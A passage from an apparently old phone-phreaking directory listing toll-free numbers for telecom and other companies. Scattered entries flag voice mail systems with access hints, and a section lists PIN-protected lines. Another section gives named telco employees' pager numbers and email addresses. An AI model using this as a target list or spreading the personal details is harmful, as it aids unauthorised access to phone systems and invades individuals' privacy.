+1-800-522-6909 Southwestern Bell Yellow Pages and Advertising Services. +1-800-526-4611 Bell Atlantic Telecom Vendor's Service Leasing Dept. +1-800-528-2355 Southwestern Bell Yellow Pages Business Office. +1-800-538-4747 Bell Atlantic Mobile. +1-800-541-1229 BellSouth Financial Services. +1-800-555-1111 Bell LD. 3 way calling, calling card and many other features. +1-800-555-4999 Bell Canada Residential and Business Service. +1-800-556-2355 Bell Atlantic Communications. +1-800-561-2355 Bell Mobility. (French) +1-800-561-4459 NBTel's NBNet Support line. +1-800-561-8888 Stentor's Calling Card Centre. +1-800-563-0624 Telus Fax. +1-800-563-2900 NewTel Communications. +1-800-563-3794 Bell Mobility (Ottawa Office) +1-800-565-4737 IslandTel Business Office. +1-800-565-7102 MT&T. +1-800-567-2355 Cellular One. +1-800-567-2448 Bell Canada Millennium (Test Line) +1-800-567-9633 Bell Canada (I think it's the main switchboard) +1-800-575-2355 BC Telus Help Center. +1-800-600-2355 Southwestern Bell. +1-800-604-2355 Cellular One. +1-800-611-6500 Bell Mobility Cellular. +1-800-631-2355 Bell Atlantic Shareowner Services. +1-800-636-2355 Bell Atlantic Communications. +1-800-647-NEWS Bell Atlantic Employee News line. (Daily recorded messages) +1-800-652-2355 Bell Atlantic Yellow Pages. +1-800-660-2355 Bell Atlantic Mobile's Loyalty Management Services Department. +1-800-661-2355 BC Tel Mobility Customer Service. +1-800-661-4260 Telus advertising. +1-800-663-1011 BCTel's Billing Inquiry System. +1-800-663-1440 BC Tel Call Center/Accounts. +1-800-663-2234 BCTel Network Sales. +1-800-663-2455 BC Tel Mobility Customer Service Department. +1-800-667-0123 Bell Mobility's Automated Express Lane System. +1-800-667-3500 SaskTel Business Solutions. +1-800-667-5801 SaskTel International Head Office. +1-800-667-6030 Bell Canada (French) +1-800-668-0911 BCE Mobile Communications Inc. +1-800-668-2355 Bell Canada. +1-800-668-4862 Bell Canada Millennium (Coin) +1-800-668-6851 Bell Canada Millennium (Alarm) +1-800-668-6878 Bell Direct. (U.S. and Canada) +1-800-668-9090 Bell Information Systems Repair Service. +1-800-668-9608 Bell Canada Switch Control Centre. +1-800-668-9716 Bell Canada Employment Centre. (Press "*" to access VMS) +1-800-670-2355 Communication One (authorized agent of Cellular One) +1-800-684-2255 Nortel's Meridian Home Office Support/Info. +1-800-722-2300 Nynex President Switchboard. +1-800-724-4443 Bell Sympatico. +1-800-727-2231 Bell Atlantic. +1-800-733-2355 BellSouth Phones. +1-800-735-3030 Cincinnati Bell Long Distance. +1-800-REWARDS Bell Canada Rewards. +1-800-753-0223 BellSouth order line. +1-800-767-2355 BellSouth automated billing services. +1-800-772-2141 Bell Canada Millennium (Setshop) +1-800-773-2121 Sympatico Customer Service. (Bell Canada's Internet service) +1-800-775-2355 BellSouth Phones. +1-800-782-8353 Pacific Bell (to report any payphone crimes) +1-800-792-2665 (1-800-SWB-BOOK) Southwestern Bell Directory Source. +1-800-830-2355 Bell Atlantic Mobile. +1-800-832-6338 BellSouth Memory Call Service. +1-800-833-7477 Nortel Networks. +1-800-842-1558 BellSouth Benefits Service Center. +1-800-843-2255 Bell Atlantic Small Business Direct Response Center. +1-800-847-7303 Bell Minor Hockey Hotline. +1-800-848-8000 Pacific Bell Directory Smart Resource. (U.S. only) +1-800-848-8353 Bell ActiMedia (Tele-Direct) Customer Service. +1-800-858-9413 BellSouth ISDN order line. +1-800-922-0204 Bell Atlantic Mobile. +1-800-925-0010 BellSouth Communications Systems. +1-800-925-0049 BellSouth Equipment/Customer Changes. (U.S. only) +1-800-925-2525 BellSouth Business. +1-800-933-2355 Fulfillment plus. (agent of Pacific Bell) +1-800-934-2255 Bell Atlantic. +1-800-936-6245 IslandTel. (IslandTel Express="1") +1-800-957-9999 Bell Canada Long Distance. +1-800-973-2223 Telus Directory Delivery Service. (order phone books!) +1-877-ALL-WKND Bell Mobility. +1-877-268-4273 Bell Gardium Sales Department. +1-877-318-0859 Bell Sympatico. +1-877-344-3330 BC Tel Mobility. +1-877-499-1260 Bell Canada's Smart Touch Promotion Line. +1-877-4PERCALL Bell Canada's (Dis)Advantage Per Call. +1-877-652-4119 Bell's SmartTouch Promotion. +1-877-70-SPEED Bell Sympatico. +1-877-723-4400 Bell Mobility Totalcom. +1-877-FIRSTRATE Bell FirstRate Interactive Information and Enrollment Service. +1-877-90-SPEED Bell Sympatico. +1-877-91-SPEED Bell Sympatico. +1-888-201-2355 BellSouth Benefit Enrollment System. +1-888-203-2355 BellSouth. +1-888-206-2355 Bell Atlantic. +1-888-208-2355 Bell Atlantic. +1-888-217-6540 Bell Mobility Service. +1-888-219-2355 Bell Atlantic. +1-888-221-2355 Bell Atlantic. +1-888-223-2355 Bell Atlantic. +1-888-242-2355 Bell (Spanish) +1-888-24-FIRST Bell FirstRate Interactive Information and Enrollment Service. +1-888-264-2355 (1-888-ANI-BELL) Bell Atlantic Caller ID. +1-888-299-0977 Bell Canada's Interactive Sympatico Ordering Service. +1-888-308-5640 Bell Mobility Paging. +1-888-327-2355 BellSouth Mobility Area Code Reprogramming Department. +1-888-333-4454 Bell Equipement D Imprimerie. +1-888-345-2355 Cellular One Dispatch. +1-888-377-2355 Bell Firstrate Interactive Information and Enrollment Service. +1-888-378-2355 Bell Canada's Ontario Direct Marketing Center. +1-888-383-2355 BellSouth Cellular Fraud Prevention Center. +1-888-388-2355 Bell Direct in Canada. (the same as 310-BELL) +1-888-4-662453 (1-888-4-MOBILE) Bell Mobility Cellular. +1-888-442-0222 Bell Mobility Accounts Receivable. +1-888-455-2355 Southwestern Bell. NIS any longer. +1-888-457-7310 Bell Mobility. +1-888-462-8033 BellSouth COCOT repair. +1-888-522-2355 Cellular One. +1-888-543-2355 BellSouth Internet Business. +1-888-562-2355 Cellular One's Job Hotline. +1-888-597-9999 Schwab Canada QUALCOMM Digital PCS phone from Bell Mobility. +1-888-677-2355 Bell Atlantic View at One Support. +1-888-681-2355 Cellular One. +1-888-685-2355 BC Tel Multiple Option Messaging. +1-888-730-2355 Bell Atlantic. +1-888-739-2737 (1-888-REWARDS) Bell Canada. +1-800-668-1717 Nortel's Global Customer Service. +1-888-741-2355 Bell Atlantic. +1-888-743-2355 Bell Atlantic. +1-888-745-2355 Bell Atlantic. +1-888-749-2355 Bell Atlantic. +1-888-751-2355 Bell Atlantic. +1-888-755-2355 Pacific Bell Equipment. +1-888-775-2355 Pacific Bell Equipment. +1-888-781-2355 Bell Atlantic. +1-888-782-2355 Bell Atlantic. +1-888-788-2355 Bell Canada Business Consulting Group. +1-888-811-2323 BCTel Customer Service. +1-888-837-1668 BellSouth Telecom Rental Services. +1-888-867-7587 (1-888-TMS-PLUS) Telus. +1-888-904-2355 Bell Firstrate Interactive Information and Enrollment Service. +1-888-905-2284 BC Tel Interactive Business Solutions. +1-888-932-6666 BCE Corp. Communications. +1-888-969-2355 Bell Atlantic. +1-888-983-2355 Bell Atlantic. +1-888-984-2355 Bell Atlantic. +1-888-985-2355 Bell Atlantic. +1-888-986-2355 Bell Atlantic. +1-888-988-2355 Bell Atlantic. +1-888-989-2355 Bell Atlantic. +1-888-990-2355 Bell Atlantic. +1-888-992-2355 Bell Atlantic. +1-888-993-2355 Bell Atlantic. +1-888-996-2355 Bell Atlantic. +1-888-997-2355 Bell Atlantic. +1-888-CELLPHONE Cellular One. + + +------------------------------------------------------------------------------- + GTE: +------------------------------------------------------------------------------- + +1-800-225-5160 GTE Corporation Teleservicing System. +1-800-225-5483 (1-800-CALL-GTE) GTE Long Distance. +1-800-272-3466 GTE Telecom. +1-800-346-5800 GTE Business Sales Center. +1-800-347-5665 GTE Express. (Cellular) +1-800-366-4834 (1-800-FON-GTE4) GTE Personnel-only question line. (U.S. only) +1-800-366-4835 (1-800-FON-GTE5) GTE Personnel-only question line. +1-800-366-5665 GTE Express. (Cellular) +1-800-428-8722 GTE Superpages Internet Services. +1-800-445-5288 GTE Business Sales Center. +1-800-448-3795 GTE. +1-800-483-1000 (1-800-GTE-1000) GTE Repair Center. +1-800-483-2273 (1-800-GTE-CARD) GTE Calling Card Services. +1-800-483-3000 GTE Billing Center. +1-800-483-3600 GTE North Customer Billing Center. +1-800-483-4000 GTE California Customer Service Ordering Center. +1-800-483-4839 GTE Business Response Center. +1-800-483-5000 GTE California Business Sales Center. +1-800-483-5288 GTE Headquarters in Irving, TX. +1-800-483-5400 GTE Business Sales Center. +1-800-483-5559 GTE. +1-800-483-5781 GTE Wireless. +1-800-483-7243 (1-800-GTE-PAGE) GTE Paging. +1-800-483-7479 GTE Hawaiian Tel's Business Sales Center. +1-800-483-8494 GTE Long Distance. +1-800-527-2558 GTE Business Response Center. +1-800-643-0997 GTE Bank Card Center. +1-800-670-9320 GTE Paging. +1-800-727-2355 GTE Wireless. +1-800-787-9689 GTE Customer Service. +1-800-877-5665 GTE Express. (Cellular) +1-800-888-8448 GTE Directory Order Center. + + +------------------------------------------------------------------------------- + MCI WorldCom: +------------------------------------------------------------------------------- + +1-800-225-5888 MCI WorldCom Operator Services. +1-800-254-8991 MCI WorldCom Customer Service. (U.S. only) +1-800-264-1000 MCI WorldCom Customer Service. +1-800-265-5328 MCI's 1-800-COLLECT. Automated collect calls. +1-800-267-7320 Network MCI +1-800-270-6245 WorldCom VMS. ("Please enter the # sign followed by your BN") +1-800-275-0200 MCI WorldCom Residential/Business Customer Service. +1-800-275-1234 MCI WorldCom. Accepts calling cards for phone calls. +1-800-333-1000 MCI WorldCom Commercial Customer Service. +1-800-333-2000 MCI WorldCom. +1-800-333-5000 MCI WorldCom Residential Service. +1-800-336-0149 MCI WorldCom Global Product Support. +1-800-432-4557 MCI WorldCom Account Services. (U.S. only) +1-800-444-1111 MCI WorldCom's Global Technical Service Center. +1-800-444-3333 MCI Customer Service. (U.S. only) +1-800-444-4444 MCI WorldCom. +1-800-444-6242 MCI. +1-800-444-6245 MCI Mail Messaging and Technical Support. +1-800-444-7000 MCI WorldCom St. Louis Business Market Sales Office. +1-800-455-1605 Network MCI System. +1-800-455-2957 Network MCI System. +1-800-455-4215 Network MCI System. +1-800-455-5469 Network MCI System. +1-800-455-6084 Network MCI Interactive Paging Service. +1-800-455-6504 Network MCI System. +1-800-455-6513 Network MCI System. +1-800-455-6780 Network MCI System. +1-800-455-6834 Network MCI System. +1-800-455-7806 Network MCI System. +1-800-455-7854 Network MCI System. +1-800-455-7920 Network MCI System. +1-800-475-0138 MCI WorldCom. +1-800-475-5628 MCI WorldCom Paging System. +1-800-475-9321 MCI WorldCom. +1-800-483-4929 Network MCI System. +1-800-483-8784 Network MCI System. +1-800-539-2000 MCI WorldCom Business Services. +1-800-555-4668 Network MCI System. +1-800-627-2355 MCI WorldCom Administrative Offices. +1-800-637-2255 MCI WorldCom. +1-800-644-NEWS MCI WorldCom Public Relations. +1-800-645-2355 MCI WorldCom. +1-800-666-1904 MCI WorldCom. (U.S. only) +1-800-666-2613 MCI WorldCom. +1-800-674-2355 MCI WorldCom (calling card calls) +1-800-688-4889 MCI National Relay Service in the U.S. (TTY) +1-800-701-9358 MCI WorldCom. (U.S. only) +1-800-701-9360 MCI WorldCom. (U.S. only) +1-800-724-3624 (1-800-PAGE-MCI) MCI WorldCom Paging System. +1-800-727-5555 MCI Small Business Accounts. (U.S. only) +1-800-827-4690 MCI WorldCom Paging System. +1-800-827-4750 MCI WorldCom Paging System. +1-800-848-4480 MCI WorldCom Network Assistance. (modem) +1-800-864-4060 MCI WorldCom Wholesale Services. +1-800-872-7654 MCI WorldCom's EDI Group. +1-800-876-8581 Network MCI. +1-800-877-8000 MCI. +1-800-877-9320 Network MCI. +1-800-888-8000 MCI WorldCom automated calling card calls. +1-800-944-0700 MCI WorldCom Wireless. +1-800-947-8642 MCI National Relay Service in the U.S. (voice) +1-800-950-1022 MCI WorldCom Customer Service. +1-800-999-7700 MCI WorldCom. +1-800-COLLECT MCI WorldCom automated collect calls. +1-800-SUNDAYS MCI WorldCom. +1-800-WORLDCOM WorldCom. +1-888-575-2355 MCI WorldCom. +1-888-624-2355 MCI WorldCom. +1-888-655-2355 Network MCI Contact. +1-888-724-3624 (1-888-PAGE-MCI) MCI WorldCom Paging System. + + +------------------------------------------------------------------------------- + Sprint: +------------------------------------------------------------------------------- + +1-800-227-9892 Sprint. +1-800-256-8340 Sprint Canada. +1-800-277-7468 Sprint Phone Card and Collect calls. +1-800-308-MOST Sprint Canada. +1-800-322-3090 Sprint. +1-800-336-MOST Sprint Canada. +1-800-348-MOST Sprint Canada. +1-800-349-MOST Sprint Canada. +1-800-359-2255 Sprint Voice Phone Card. +1-800-366-0707 Sprint Pre-Paid Card Customer Service. +1-800-366-2255 Sprint automated LD calling (U.S. and Canada) +1-800-370-MOST Sprint Canada. +1-800-455-4602 Sprint PCS. +1-800-456-9711 Sprint Canada Customer Service. +1-800-459-MOST Sprint Canada. +1-800-467-7746 Sprint. +1-800-469-MOST Sprint Canada. +1-800-480-4727 (1-800-480-4PCS) Sprint PCS. +1-800-483-MOST Sprint Canada. +1-800-496-MOST Sprint Canada. +1-800-505-MOST Sprint Canada. +1-800-506-8268 Sprint Canada. +1-800-515-6678 (1-800-515-MOST) Sprint Canada. +1-800-516-MOST Sprint Canada. +1-800-522-9320 Sprint Canada. +1-800-540-4516 Sprint Canada. +1-800-546-2500 Sprint's online directory of SprintNet local access numbers. +1-800-546-6000 SprintNet's In-WATS Service. +1-800-548-8120 Sprint Canada. +1-800-555-2800 Sprint (Spanish) +1-800-570-2255 Sprint Business Service Center. +1-800-571-6678 (1-800-571-MOST) Sprint Canada. +1-800-575-2255 Sprint Canada's Business Sales Office in Halifax. +1-800-581-MOST Sprint Canada. +1-800-593-6678 Sprint Long Distance. +1-800-597-1195 Sprint Canada. +1-800-597-9765 Sprint Canada. +1-800-605-MOST Sprint Canada. +1-800-631-MOST Sprint Canada. +1-800-653-MOST Sprint Canada. +1-800-666-6999 Sprint Canada. +1-800-674-7000 Sprint. +1-800-680-6678 (1-800-680-MOST) Sprint Canada. +1-800-681-MOST Sprint Canada. +1-800-714-MOST Sprint Canada. +1-800-736-1130 SprintNet data network products and services. +1-800-746-3767 (1-800-PIN-DROP) Sprint. (U.S. only) +1-800-777-4681 (1-800-SPRINT-1) Sprint Paging. +1-800-777-4683 (1-800-SPRINT-3) Sprint Selections. +1-800-801-6678 (1-800-801-MOST) Sprint Canada. +1-800-810-MOST Sprint Canada. +1-800-827-2200 Sprint Business. +1-800-827-3700 Sprint Long Distance. +1-800-827-4680 Sprint Business. +1-800-827-4685 Sprint's Global One Customer Service Center. +1-800-827-4700 Sprint Long Distance. +1-800-827-4800 Sprint Business Sales Office. +1-800-830-MOST Sprint Canada. +1-800-841-MOST Sprint Canada. +1-800-843-6678 (1-800-THE-MOST) Sprint Canada. +1-800-873-9350 Sprint Canada. +1-800-874-5069 Sprint Canada. +1-800-877-4453 Sprint Employee News line. (U.S. only. Updated daily) +1-800-877-4646 Sprint Account/Rewards/Calling Card customer services. +1-800-877-5045 Sprint Service Management Center. +1-800-877-8000 Sprint Operator assisted calls. +1-800-877-8973 Sprint National Relay Service in the U.S. (voice/TTY) +1-888-890-2384 Sprint Canada (French) +1-800-994-6678 (1-800-994-MOST) Sprint Canada. +1-800-FON-CARD Sprint's automated calling. +1-877-4-WEEKENDS Sprint. +1-877-5CONTACT Sprint. +1-888-254-0701 Sprint Canada's "The Most" Online. +1-888-254-2927 Sprint Canada. +1-888-276-2179 Sprint PCS. +1-888-369-DATA Sprint. +1-888-371-3279 Sprint Canada. +1-888-490-3279 (1-888-490-EASY) Sprint Canada's "The Most" Online. +1-888-510-3279 Sprint Canada. +1-888-581-3279 Sprint Canada. +1-888-660-3279 Sprint Canada. +1-888-670-3279 Sprint Canada. +1-888-675-3279 Sprint Canada. +1-888-685-3279 Sprint Canada's "The Most" Online. +1-888-689-3279 Sprint Canada's "The Most" Online. +1-888-690-3279 Sprint Canada's "The Most" Online. +1-888-710-3279 Sprint Canada's "The Most" Online. +1-888-777468-249 (1-888-SPRINT-BIZ) Sprint Business Flex line. +1-888-790-3279 Sprint Canada. +1-888-IN-TOUCH Sprint "Stay in touch" Services. + + +------------------------------------------------------------------------------- + US West: +------------------------------------------------------------------------------- + +(303) 896-7683 US West (Denver), automated job line. +1-800-227-2209 Enterprise US West Employee Help Line. +1-800-238-7848 US West "Air Touch" Cellular. +1-800-244-1111 US West Communications. +1-800-338-0018 US West Direct Yellow Pages. +1-800-422-8793 US West Directory Source. +1-800-455-8706 US West Repair Center for AT&T. +1-800-4US-WEST US West Card Services. +1-800-626-6611 US West "Air Touch" Cellular Customer Service. +1-800-856-3376 US West Dispatch. (U.S. only) +1-800-879-4357 US West Employee Locator. +1-800-883-6171 US West Completions and Translations. (U.S. only) + + +------------------------------------------------------------------------------- + Miscellaneous Telcos, LD Carriers, Voice Mail Systems and Companies: +------------------------------------------------------------------------------- + +1-303-499-7111 Atomic Clock in Colorado. +1-937-445-4357 NCR HQ. (option 2) +1-800-200-0068 Call Interactive. (listen to male and female voices) +1-800-221-2255 American Airlines VMS. +1-800-221-4009 London Telcom. +1-800-222-5161 IBM Program Headquarters. +1-800-222-TIPS Crime Stoppers. +1-800-222-9323 AMD's Literature and Technical Service Center. (no Fax-back) +1-800-225-2255 ATM Communications. Collect, calling & credit card calls. +1-800-225-4288 ATN Communications. (collect, credit, calling card) +1-800-225-5101 Cable Guide Hotline. +1-800-225-5128 NOS automated collect, credit and calling card calls. +1-800-225-5152 Nationwide Messaging. +1-800-225-5228 ATN Communications. (collect, credit, calling card) +1-800-225-5233 NOS automated collect, credit and calling card calls. +1-800-225-5249 (1-800-CALL-AIX) IBM AIX Support. +1-800-225-5265 1-800-COLLECT. +1-800-225-5268 ATN Communications. (collect, credit, calling card) +1-800-225-5373 3M Electronic Products Information. +1-800-225-5385 Compaq Computer Corporation. +1-800-225-5438 IDT Long Distance/Internet Services. +1-800-225-5455 Johnson and Johnson VMS. +1-800-225-5463 Directory Assistance (800-CALL-INFO) +1-800-225-5627 (1-800-CALL-NCR) NCR Customer Support. +1-800-225-5664 NEC. +1-800-225-5854 Meridian Mail VMB. +1-800-225-5607 NOS automated collect, credit and calling card calls. +1-800-225-5921 Highlander Sale Catalog. (for ordering Scottish merchandise!) +1-800-227-3663 (1-800-CAR-FONE) Ericsson. +1-800-229-1103 Gateway Technical Support Tutorial Credit Card Line. +1-800-233-3382 Novell Education Programs. +1-800-235-4008 Information America's Client Support. +1-800-242-0080 Compaq Corporation. +1-800-242-2121 Lucent Technologies (PBX systems info, VMS info on Audix, etc.) +1-800-255-3700 Nintendo. +1-800-263-0656 NCR. +1-800-263-1121 Canon. +1-800-263-1136 Statistics Canada. +1-800-263-2244 Sanyo On-Site. +1-800-263-3394 Apple Canada. +1-800-264-2255 InComNet National Telephone and Communications. +1-800-265-0977 NCR. +1-800-265-MUCH MuchMusic. (Much On Demand) +1-800-267-9010 Message Center Dispatch. +1-800-268-3997 NEC. +1-800-284-2255 ATN Communications. (collect, credit, calling card) +1-800-288-2880 OCI. +1-800-294-0020 US Tel. (phone repairs and sales) +1-800-300-2355 NOS. (calling card, collect calls, etc.) +1-800-320-3488 Motorola Radio Network Services in San Diego, CA. +1-800-321-4044 Intel Overdrive/Microprocessor Support Line. +1-800-324-1234 CTI Long Distance Customer Service. +1-800-331-9922 General Motors Shareholder's Services. +1-800-332-2717 Intel Technical Support. +1-800-332-4636 Compaq Computer Corporation. +1-800-333-9967 Communication Options. +1-800-334-2255 GE Information Services Center. +1-800-334-2564 (1-800-3-DIALOG) Dialog Information Service WHQ. +1-800-336-5236 Texas Instruments. +1-800-336-6000 Audix VMB. +1-800-339-6181 Toshiba. +1-800-344-4825 Compaq Canada. +1-800-345-3444 AlternaCall Customer Information Line. +1-800-354-9000 Compaq Customer Services. +1-800-355-6245 ATX Telecommunication Services. (Answering Machine) +1-800-360-2255 Century 21 Realty VMS. +1-800-361-1319 Motorola Canada. +1-800-367-2346 Motorola Telecommunications Administration. +1-800-381-7707 Rogers Cantel Service Barrie. +1-800-387-4268 Lucent Technologies. +1-800-387-4636 Nestle Canada. +1-800-387-5645 Toshiba. +1-800-387-8240 NCR. +1-800-387-8300 NCR Help Desk and Call Management Center. +1-800-388-PIR8 SPA Anti-Piracy Hotline. (the official warez d00d ratline) +1-800-395-4656 ITC Telecom Dispatch Service. +1-800-4-LUCENT Lucent Technologies. +1-800-405-6543 American Mobile Customer Accounts Support Center. +1-800-418-6245 Blockbusters VMS. +1-800-421-7944 NCR Benefits Service Center. +1-800-425-1111 Pepsi Cola Atlantic Customer Service. +1-800-426-2255 (IBM-CALL) IBM Customer Support. +1-800-426-4682 IBM Performance Management and Capacity Planning Services. +1-800-426-4968 (IBM-4YOU) IBM Products, Services and Technical Support. +1-800-426-4968 IBM Customer Service. +1-800-426-7378 (IBM-SERV) IBM Hardware/Software technical information. +1-800-428-3929 (1-800-GATEWAY) Gateway in South Dakota. +1-800-433-9996 Micro$oft TechHead '99 Registration Headquarters. +1-800-HI-ITS-ME AlternaCall Collect Calls. +1-800-444-9000 Telecom USA. +1-800-446-6744 Motorola Supplier/Customer Training Services. +1-800-448-2244 (1-800-HITACHI) Hitachi. +1-800-452-9996 Statistics Canada. +1-800-453-0920 Motorola IDEN Customer Services. +1-800-455-4890 Pager that plays a South Park Song for the greeting. +1-800-455-5958 ITC Telecom. +1-800-456-3333 SkyTel National Sales Center. +1-800-457-1235 Lucent Technologies BCS Publications Center. +1-800-457-6245 CSI CompuServe Technical Support. (Requires UserId #) +1-800-460-1111 Qwest Customer Service. +1-800-460-2222 Qwest. +1-800-460-3333 Qwest. +1-800-461-4575 Motorola Cellular Customer Service. +1-800-461-5161 NCR Canada Emergency Parts Order Desk. +1-800-465-1176 Meridian Mail VMB. +1-800-4-ONLINE America Online order line. +1-800-467-2355 CenturyTel. +1-800-468-1714 Hershey Canada. +1-800-468-3548 (1-800-INTEL-IT) Intel Product Repair Service. +1-800-475-3107 Joanne Wilson from IBM Global Services Pager. +1-800-477-9692 ATN Information and Customer Service. +1-800-483-1170 3Com's Customer Service after hours VMB. +1-800-483-1288 IBM Work Group Services. +1-800-483-4444 FirsTel Advanced Communications Customer Service Center. +1-800-483-5463 800 Ideas.com Incorporated. +1-800-483-6681 StarTech telco. +1-800-501-6245 Database America's answering machine. +1-800-509-1800 Novell's Customer Response Center. +1-800-522-6245 AMD VMS. (enter 3 digit ext# then 3 digit passcode#) +1-800-525-5288 ATN Communications. +1-800-536-3273 Frontier Customer Service. +1-800-542-7279 (1-800-LIBRARY) The Teleconnect Dictionary (Telecom Books, + Glossary of Terms, Acronyms and Jargon) +1-800-555-1212 Toll Free Directory Assistance/Info. +1-800-555-1313 SkyTel VMB. +1-800-555-1560 Audix VMB. +1-800-555-2052 Gateway 2000 International Department. +1-800-555-2091 Gateway 2000 International Department. +1-800-555-2255 NOS. Collect, credit card calls, Operator assisted, etc. +1-800-555-3012 Gateway Direct Line. +1-800-555-4000 "Mike's" SkyTel Direct Dial VMB. Press "*" to access. +1-800-555-6620 Meridian Mail VMB. +1-800-555-7665 TelAmerica. +1-800-557-6245 Saloman Smith Barney VMS. +1-800-563-9048 Micro$oft Canada Sales and Information Centre. +1-800-565-2237 Acer America Corporation. +1-800-567-1616 Compaq. +1-800-569-DELL DELL. +1-800-576-2255 Frontier Communications Customer Service. +1-800-580-5585 WesTel Incorporated Customer Service. +1-800-588-1111 ActionTel. +1-800-588-2222 ActionTel Customer Service. +1-800-594-3000 Call-Home America. +1-800-595-8480 Rogers@Home. +1-800-627-2303 (1-800-NCR-2303) NCR Corporation Shareholder Services. +1-800-627-5609 Conquest Customer Service. +1-800-628-2888 Lucent Technologies National Customer Care Center. +1-800-628-8686 Intel Customer Service. +1-800-628-9526 Compaq Support Line. +1-800-633-2255 NOS automated collect, credit and calling card calls. +1-800-638-9273 Novell Customer Support. +1-800-638-9636 Genie Online Service. +1-800-639-8359 (1-800-NEXTEL-9) +1-800-647-2355 MinIowa PC Partner. 1-877-727-3375 Internet number. +1-800-652-6672 (1-800-OK-COMPAQ) Compaq Computer Corporation Technical Support. +1-800-658-5199 AccessData Corporation. (data recovery) +1-800-663-7780 NCR Invoicing Department. +1-800-667-3601 Frontier SpeedLink. +1-800-669-1800 Burger King's VMB. (4 digit BNs) +1-800-685-3968 (1-800-NUKE-YOU) is VoiceComm. +1-800-724-3780 Seiger Electronics. +1-800-725-5288 ATN Communications. +1-800-726-7864 (1-800-SAMSUNG) Samsung Information Line. +1-800-733-9673 (1-800-RED-WORD) Novell Developer's Support. +1-800-741-2255 ATN Communications. (collect, credit, calling card, Op assisted.) +1-800-777-2255 Phone Works VMS. +1-800-777-3278 Fujitsu Network Communications Inc. +1-800-777-4343 Digital Equipment Corp. +1-800-783-2020 Frontier Communications Customer Service. +1-800-786-0404 (1-800-SUN-0404) Sun Express (supplier of Sun Microsystems) +1-800-788-8588 Working Assets Long Distance. +1-800-800-8800 Target Directory. +1-800-822-2000 Lucent Technologies. +1-800-825-2255 Metro-Call Customer Service. (pager service) +1-800-827-1200 American Directory Service Corporation. (order telephone books) +1-800-827-1225 IBM/NCR Retail Vendor Support Line. +1-800-828-3362 Novell Authorization Department. +1-800-829-1011 Network Management Center. +1-800-835-7788 US Telecom International. +1-800-842-2255 American Express VMS (Audix) +1-800-842-2737 Texas Instruments. +1-800-846-2301 Gateway Technical Support Line. +1-800-847-4096 DELL Canada's Service and Support Hot Line. +1-800-848-0955 Williams Communications Solutions. (Meridian, OcTel info etc.) +1-800-848-8199 CompuServe. +1-800-848-8990 CompuServe. +1-800-858-4000 Novell Technical Support. +1-800-860-2255 Qwest/LCI. +1-800-879-3782 NOS (automated collect, credit, calling card calls) +1-800-879-7660 Iomega's Instant Access Help System. +1-800-888-4848 Subway's VMS. +1-800-889-6245 "Belen Hell" VMS. (VMB="#") (Dir.="3") +1-800-892-3351 National Rifle Association (Join the NRA Now!) +1-800-900-DELL DELL. +1-800-925-2289 US Tel Customer Service. +1-800-925-6278 (1-800-WAL-MART) WAL-MART Directory. +1-800-938-2255 Pilgrim Telephone. (Intimate Connections) +1-800-949-6245 Phone Mail VMB. +1-800-951-2355 Cantel Communications. +1-800-954-6245 OcTel VMB. +1-800-999-2222 Pilgrim Telephone. +1-800-999-DELL DELL Canada. +1-800-FUCK-ATT Pilgrim Telephone. (Automated Collect calls) (U.S. only) +1-800-FUCK-MCI Pilgrim Telephone. (Automated Collect calls) (U.S. only) +1-800-FUCK-NCR Pilgrim Telephone. +1-800-ONTARIO Travelinx Ontario. (Tourism Information) +1-800-SKY-8888 SkyTel System Access. +1-800-SKY-FAXE SkyFax (SkyTel Faxing) +1-800-SKY-GRAM Skyward (SkyTel Alpha-Numeric Paging) +1-800-SKY-PAGE SkyPager (SkyTel Numeric Paging) +1-800-SKY-TALK SkyTalk (SkyTel Voice Mail) +1-800-SKYTEL5 SkyTel. +1-877-240-1267 Cantel Centre De Communication Tech. +1-877-326-2826 NCR Bell Help Desk. +1-877-393285465 (1-877-EXECULINK) ExecuLink Internet Services. +1-877-396-3939 Union Telecom. +1-877-4-LUCENT Lucent Technologies. +1-877-677-4687 (1-877-6-PRIMUS) Primus Canada Long Distance Services. +1-877-742-7722 Sharp Canada Customer Care Center. +1-877-875-2762 Pioneer Help Line. +1-877-925-6278 (1-800-WAL-MART) Customer and Associates Service Hotline. +1-877-ROGERS-1 Rogers Corporation. +1-888-25-GREAT Cleveland hotline. +1-888-256-5678 NCR AlertLine. +1-888-257-8826 Cantel Centre de Communication. +1-888-349-6972 Micron Electronics Technical Support. +1-888-4-LUCENT Lucent Technologies Canada. +1-888-478-2730 I-Star Internet Incorporated. +1-888-EMAIL-ME College Club Free VoiceMail. (U.S. only) +1-888-504-2355 "Tony Bell" from Remax. +1-888-536-2355 "This is Ken Bell." (Voice) +1-888-582-3686 (1-888-LUCENT6) Lucent Technologies Shareholder Services. +1-888-582-3688 Lucent Technologies. +1-888-673-8925 Micro$oft's Y2K Disclosure Line. +1-888-692-1122 CompuServe. +1-888-715-2355 Call Home America Ultimate 800. +1-888-736-8567 Motorola. +1-888-751-8088 Guinness World Records. +1-888-825-2355 Connect America. +1-888-839-9295 IBM Haliburton Service Desk. +1-888-ROGERS-1 Rogers Cable. +1-888-ROGERS-2 Rogers Connection. +1-888-STCK-NCR NCR Corporation Associates Stock Ownership at Merrill Lynch. +1-888-Y-TOP-TEN ATN's Top Ten reasons why you should get a toll free number. + + +------------------------------------------------------------------------------- + Telco Employees (Answering Machines and Pagers): +------------------------------------------------------------------------------- + +(416) 377-3724 Mike Turner's Pager (works for Bell) +(416) 379-2117 Dave Twiner's Pager (works for Bell) +(416) 581-3311 irene.shimoda@bell.ca +(514) 786-3655 shirley.bishop@bell.ca +1-800-455-6813 Jack Hogan of MCI WorldCom's Pager. +1-800-465-9625 Bell Canada Media Relations (Shirley Bishop) +1-800-519-6245 TONE then "Sprint - Kimberly Martin." (Answering Machine) +1-888-482-0809 Bell Canada Media Relations (Irene Shimoda) + + +------------------------------------------------------------------------------- + Numbers that Require PINs: +------------------------------------------------------------------------------- + +1-800-235-3155 "Welcome. Enter the PIN number you wish." +1-800-249-6245 "Please enter your 7 digit access code." +1-800-352-8201 "Please enter your 4 digit PIN." +1-800-549-6245 "Welcome. Enter the PIN number you wish." +1-800-555-2250 "Enter the PIN number you wish." +1-800-566-6245 "Please enter your four digit PIN." +1-800-643-6245 "Enter ID number immediately followed by your security code." +1-800-827-4780 "Please enter your PIN number." +1-800-862-6340 "Please enter your 4 digit PIN." +1-888-612-2355 "Enter the PIN number you wish." +1-888-614-2355 "Enter the PIN number you wish." +1-888-623-2355 "Enter the PIN number you wish." + + +------------------------------------------------------------------------------- + Carriers: 